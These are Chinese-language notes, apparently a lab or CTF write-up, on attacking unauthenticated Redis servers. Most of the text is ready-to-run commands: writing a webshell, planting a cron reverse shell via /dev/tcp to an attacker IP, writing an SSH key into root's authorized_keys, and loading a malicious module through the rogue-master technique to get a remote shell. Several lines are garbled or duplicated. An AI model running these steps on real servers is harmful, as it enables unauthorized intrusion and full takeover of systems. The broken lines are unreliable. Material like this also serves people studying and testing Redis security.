redis 服务的 IP 为: 192.168.18.132(centos)、192.168.0.100 (ubuntu)
kail 的IP 为 192.168.18.143
漏洞成因: 没有设置访问密码
./redis-cli -h 192.168.18.132 -p 6379
config get dir
config set dir /var/www/dvwa/uploads
config get dir
config set dbfilename redis.php
config webshell "\r\n\r\n\r\n\r\b"
save
# 然后访问相关页面即可
在 kail 监听端口:
nc -lvnp 9999 # 监听 9999 端口
执行相关指令:
./redis-cli -h 192.168.18.132 -p 6379
set xx "\n* * * * * * bash -i >& /dev/tcp/192.168.18.143/9999 0>&1\n"
get xx
config set dir /var/spool/cron/
config set dbfilename root
keys *
save
redis 的密码可以进行破解
ssh-keygen -t rsa # 生成公私钥
cd /home/jlb/.ssh # 转到生成秘钥目录所在处
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.0.100 --pass welcometowangdingbeissrfme6379 -x set xxx # --pass 表示密码
redis-cli -h 192.168.0.100
auth welcometowangdingbeissrfme6379 # 输入密码登陆
config set dir /root/.ssh # 设置路径 路径需要存在
config set dbfilename authorized_keys # 设置文件名,文件名一定要为: authorized_keys
save # 保存
sssh -i id rsa root 192.168.0.100
漏洞存在于 4.x 和 5.x 版本中,Redis 提供了 主从模式,主从模式是指使用一个 redis 作为主机,其他作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写,在 Redis 4.x 之后,通过外部拓展,可以黑丝系那个在 Redis 中实现一个新的 Redis 命令,构造恶意的 .so 文件。在两个 Redis 实例设置主从模式的时候,Redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上,然后在从机上加载恶意 .so 文件,既可以执行命令
受害人:就是从机 .so 文件
攻击者就是主机 .so 文件
命令执行:
python3 redis-rogue-server.py -rhost 192.168.0.100 -lhost 192.168.18.143 -pass 密码
# kail
python3 redis-rogue-server.py -v -path exp.so # 会返回一个监听端口
nc -lvnp 6666 # 监听 6666 端口
# Redis 从机服务器
config set dir /tmp
config set dbfilename exp.so
slaveof 192.168.18.143 15000 # 开始同步
module load ./exp.so # 上传文件
slaveof NO ONE # 关闭同步
system.rev 192.168.18.143 6666 # 返回一个 shell
dule load ./exp.so # 上传文件
slaveof NO ONE # 关闭同步
system.rev 192.168.18.143 6666 # 返回一个 shell
## 7. 实战: **网鼎杯2020 玄武组 WEB题SSRFME解题**